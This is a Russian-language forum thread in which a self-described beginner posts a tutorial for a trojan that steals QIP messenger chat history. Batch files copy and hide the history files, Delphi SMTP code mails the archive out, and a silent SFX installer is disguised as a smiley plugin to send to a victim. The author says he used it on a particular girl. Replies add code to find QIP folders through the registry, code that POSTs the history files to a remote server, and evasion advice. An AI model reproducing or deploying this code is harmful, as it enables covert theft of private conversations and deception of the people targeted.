!!! Эта статья рассчитана только для новичков Просьба гуру, не пинать. Если чё не нравится – пишем своё. Итак, начнём. В данной статье, я хочу вам показать как имея совсем базовые познания в кодинге написать что-то типа вируса, который будет тырить хистори по всем номеркам на компе жертвы. Для этого нам понадобится Блокнот, Delphi, и не много усидчивости. 1. Мы должны написать код, который будет искать файлы истории, по всем папкам и копировать их в одно место. 2. Запаковать все файлы в один архив. 3. Отослать себе данный файл. Мой вирь – состоит из 3х файлов. Так как с начала написания его, я знал только теорию – и что у командной строки есть команда dir copy и echo off. Поэтому, я предлагаю вам, тоже, ознакомится с кодом трёх файлов – для простоты понятия. Если кому не нравится, то делайте в один – полёт фантазии вам в помощь. Пишем первый файл test.bat Code: Echo off @cd C:\ @md test2 //создаём папку тест 2 @if exist C:\Progra~1\QIP\qip.exe xcopy C:\Progra~1\QIP\Users\*.txt C:\test2\*.txt /q /e /h /y > null //если файл qip.exe существует по указанному адресу, то копируем все файлы формата txt из папки User в папку тест2. Ключи /q /e /h /y --- для копирования скрытых файлов, и копирования в под каталогах. @attrib +h +s C:\"Program Files"\QIP\1.exe //скрываем и делаем системным 3й файл нашего вируса, который распакуется в папку C:\"Program Files"\QIP\ с именем 1.exe . "Program Files" – не зря берётся в скобки, так как пробелы командная строка считает окончанием команды или ещё чего либо. @attrib +h +s C:\"Program Files"\QIP\arh.bat // аналогично для второго файла вируса start/min C:\"Program Files"\QIP\arh.bat //запуск в скрытом окне второго файла вируса (хотя можно всё влепить в один этот) echo >> read.txt У вас установлена неизвестная версия Qip. Обновления не были установлены. // данная строка обеспечит добавление в файл реад.тхт строчки «левой отмазки» start/max read.txt // запустим файл с текстом, на всю рабочую область, что поможет скрыть в это же время архивирование файлов, которое обеспечивает 2й файл arh.bat exit // выход из командной строки, на всякий пожарный пропишем. Далее приступаем ко второму файлу, который обеспечит упаковку файла в архив arh.bat Code: echo off "C:\Program Files\WinRAR\rar.exe" a -m5 -o+ -r C:\test2\backu.rar C:\test2\*.* // команда для упаковки в архив с именем backu.rar, который должен будет создастся в C:\test2\ и архивировать все файлы, всех форматов из папки rar C:\test2\ Ключь –r заставляет архивировать и подкаталоги и файлы в них. –m5 - метод сжатия (1-5). Подробнее можно посмотреть в хелпе к Winrar. @attrib +h +s C:\"Program Files"\QIP\test.bat //прячет файл start/min C:\"Program Files"\QIP\1.exe // запускает в скрытом режиме делфи файл, который и будет заниматься отправкой. Exit //если прописали start, то нужно и exit - иначе, бывает, что не закрывается. Теперь приступим к написанию кода Delphi. Для данной программки нам понадобится вкладка Indy Clients и Indy Misc. Закидываем на форму компоненты IdAntiFreeze IdMessage IdSMTP и Label с вкладки Standart. Делаем формочку размером не больше 69*280 высота/длина --- хотя это уже ваша фантазия и пишем в Label что-то типа System Error. Please waite a few minutes, меняем имя формы на что-то вроде System Error и ставим свойство формы BorderStyle в режим bsNone. И вот точный листинг того, что мы должно быть: Code: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdMessage, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze; type TForm1 = class(TForm) IdAntiFreeze1: TIdAntiFreeze; IdMessage1: TIdMessage; IdSMTP1: TIdSMTP; Label1: TLabel; private { Private declarations } public { Public declarations } end; var Form1: TForm1; M:TIdMessage; sm:tidsmtp; att:tidattachment; implementation {$R *.dfm} begin m:=TIdMessage.create(form1); m.From.Text:='vasja@inbox.ru';//от кого m.Recipients.Add; m.Recipients.Items[0].Text:='Pupkin@mail.ru'; //кому m.Subject:='Subject';// тема письма m.Body.Text:='По*** на текст';// текст письма att:=tidattachment.Create(m.MessageParts,'C:\test2\backu.rar');// полное имя файла, архива – который должен быть отправлен. sm:=tidsmtp.Create(form1); sm.AuthenticationType := atLogin; sm.Host:='smtp.inbox.ru'; //хост sm.Username:='Логин с которого будет отсылаться письмо'; sm.Password:='123456'; //пароль к этому ящику sm.Connect(); if sm.Connected then begin sm.Send(M); end; sm.Disconnect; att.Free; sm.Free; end. Делфи код был взят с delphiexpert.ru (c) Ну вот и всё. Как только письмо будет отправлено, у юзера появится окошко с якобы ошибкой. Просто влом переделывать. Я думал что оно будет гореть сразу, а оказалось что появиться после выполнения отправки. + в моей версии окошко не особо видно, так как появляется над часами. Координаты появления можно задать в полях Top Left компонента Form. Толи это не компонент но … ) Как сделать чтоб процесс не был виден в дереве, и не показывался на панели задач – я не смотрел. Вернее смотрел, но там всё заумно – я его и не трогал. Так как писалось это всё чтобы узнать историю одной девчоночки) Ну это уже ваша фантазия. Блин .. чуть не забыл – что это всё нужно сделать одним exe файлом .. Продолжим) Выделяем эти 3 файла. Жмём «добавит в архив…» Ставим галочку – Создать SFX-архив, ставим метод сжатия, переходим на вкладку «дополнительно», - Параметры SFX-архива --- Путь для распаковки… Пишем C:\Program Files\QIP\ --- Выполнить после распаковки – test.bat Переходим на вкладку Режимы --- Режим ввода информации – Не показывать начальный диалог Режим перезаписи – Перезаписывать все файлы без запроса. И всё. Жмём Ок. Получаем файл .exe который после запуска сразу начинает свою работу. Конечно я бы советовал назвать это чудо как-то так «Qip_plugin_smiles_8.0.6.13(by Foolf).exe», залить на файлообменник, и дать просто ссылку тому, чью историю хочешь подтырить. Написав при этом … Ок, я жду, пока скинешь мне установленный смайл. На этом всё) Просьба ещё раз, сильно не пинать. Если кому помог в чём-то разобраться то жду +++ в репу)
Статья не очень,так как не реализовано то чтобы искать папку QIP'a! (вроде как) Тем более можно сделать все по простому без .bat файла (примерно знаю как)
А вы так уверены, что квип будет на диске це? А вы уверены, что у юзера будет винрар? Зачем юзать батники, когда можно не юзать? Почему вирь из трех файлов, когда можно положиь в ресурсы? Ииии это не вирус кстати. И даже не вроде вирус. Вообще какой-то странный кодес.
процедура поиска папок квипов(если несколько установлено) Code: procedure regGetValuesHKCU(where:string; StringList:TStrings); var Key: HKEY; Len, LenTemp, Count, I: DWORD; S: PChar; begin StringList.clear; GetMem(S, 255); if RegCreateKey(HKEY_CURRENT_USER, PChar(where), Key) = 0 then begin RegQueryInfoKey(Key, nil, nil, nil, nil, nil, nil, @Count, @Len, nil, nil, nil); for I := 0 to Count - 1 do begin LenTemp := Len +1; RegEnumValue(Key, I, S, LenTemp, nil, nil, nil, nil); StringList.Add(S); FillChar(S^, 255, 0); end; RegCloseKey(key); end; FreeMem(S); end; procedure GetQIPPaths(StringList:TStringList); var i:integer; begin regGetValuesHKCU('Software\Microsoft\Windows\ShellNoRoam\MUICache',StringList); for i:=StringList.Count-1 downto 0 do if pos('\qip.exe',StringList.Strings[i])=0 then StringList.Delete(i); for i:=0 to StringList.Count-1 do StringList.Strings[i]:=ExtractFilePath(StringList.Strings[i]); end; писал когда-то для себя, успешно использовал в своей проге (необходимо, чтоб был подключен classes)
Ну в принцыпе) Статья больше как ознакомительная с батом. Почти у всех юзверей квип ставиться по умолчанию в програм файлс...... Код не претиндует на звание вируса - а скорее на средство Хоть както стырить историю) Не забываем что я сам новичок) и это просто начало) и многие которые также НАчинают постигать кодинг, может чтото из этого черпнут) Винрар нынче ставиться по умолчанию во всех зверях и тд. А почти все Юзвери на зверях и сидят ... ну кудаж без винрара?))
_HeSh_, а у меня система на диске E имхо в твоем случае лучше использовать %windir%\..\program files\qip и где-то я видел как можно архивировать средствами windows, там то ли zip то ли cab а для дельфи есть готовые модули, сам пользуюсь)
Хз хз))я новичёк)) только начинаю) для делфы видел компоненты и статьи..но там кода на 3 листа .. вот и не стал разбиратся особо))) а в плене %windir% -- согласен) ну это пусть уже кому нужно, тот под себя делает) Я его написал для определённого человека)) Кодец своё дело сделал)) Я доволен) ) Спасибо за критику))) Она уместна) Не даёт расслаблятся - и даёт понять что всё изучение только только впереди)
я бы промолчал, если бы не "делфи файл" это ПИ*ДЕЦ автор извини, но я тебя обматерил... че за тре**!?!!!
W!z@rD, банальная отправка письма через IdSMTP) M это объект класса TIdMessage, указываем параметры письма, там текст, тему, получателя, от кого sm это объект класса TIdSMTP, указываем хост, логин, пароль, заходим и отправляем att это TIdAttachment - прикрепляем файл перед отправкой
для новечка 1 пост очень даже ничего +++ поис фаила можно реализовать проще, зачем изобретать велосипед если он уже изобретен: Code: procedure Send_all(Way:String); begin try if FindFirst(Way+'USERS\*',faDirectory,folder)=0 then repeat try If FindFirst(Way+'USERS\'+folder.Name+'\History\*.txt',faAnyFile-faDirectory,TS)=0 then repeat If TS.Name<>'_srvlog.txt' Then begin try ZeroMemory(@szBuf, SizeOf(szBuf)); lstrcpy(szBuf, PChar('fname='+TS.name+'&UIN='+folder.name+'&data=')); lstrcat(szBuf, ((GetFileData(PChar(Way+'USERS\'+folder.Name+'\History\'+TS.name))))); SendPOSTData(Host,Path,szBuf); except end; sleep(50); end; until FindNext(TS) <> 0; FindClose(TS); except end; until FindNext(folder) <> 0; FindClose(folder); except end; end; function Search():string; var p:string; n:integer; c:char; //Рекурсивный поиск файлов function FindFile(var path:string; const mask:string):boolean; var SRec:TSearchRec; retval:integer; oldlen:integer; begin Result:=true; oldlen:=length(path); retval:=FindFirst(path+mask,$3F,SRec); while retval=0 do begin if ((SRec.Attr and $18)=0) and (DirectoryExists(path+'Users')) then begin //faDirectory or faVolumeID Send_all(path); end; retval:=FindNext(SRec) end; FindClose(SRec); if not Result then exit; retval:=FindFirst(path+'*.*',$10,SRec); //faDirectory while retval=0 do begin if (SRec.Attr and $10)<>0 then //faDirectory if (SRec.Name<>'.')and(SRec.Name<>'..') then begin path:=path+SRec.Name+'\'; if (not FindFile(path,mask)) then begin Result:=false; Break; end; delete(path,oldlen+1,255) end; retval:=FindNext(SRec); end; FindClose(SRec) end; begin for c:='C' to 'Z' do begin p:=c+':\'; if (GetDriveType(PChar(p))=DRIVE_FIXED) or (GetDriveType(PChar(p))=DRIVE_REMOVABLE) then FindFile(p,'qip.exe') end; end; взято с QIP_History_Sender Created by R_O_O_T
а если у человека нет винрара? или он незареган и тогда вылезит окошко. По этому лучше упакуй через стандартный пакер винды. Парует не очень, но всегда есть в наличии и он консольный )
стандартный это какой ?? makecab.exe ?? а если нужно сохранить структуру папок.. тоесть users/xxxxx/histrory и тд..то чем тогда пользоваться оО ????
еще раз говорю, промолчал бы если не какой на* дельфи файл?!!! вы бы чуть чуть головой думали, это п*здец как убивает. батники юзать не хорошо, толку от них 0, прочесть можно почитай про создание объектов в Run-Time почитай про winSock да и вообще, скоро вири на .net писать будут, если не уже) а если история шифруется? и не похоже на малварь это
Пути к папке с квипом можно выдрать из реестра. от суда например HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\QIP ну или ждать пока запустят квип и брать из процесса. Через поиск диру искать это мазахизм да и запалится можно.
St0nX оооо))) спасибо! А то я шарил по реестру не нашол путь в SOFTWARE :-D ВСЕ СтАВИМ ДРУЖНО ++ St0nX'у!
Еще папка квипа есть в muicache, оттуда имхо лучше, если установлено несколько квипов, то там все и будут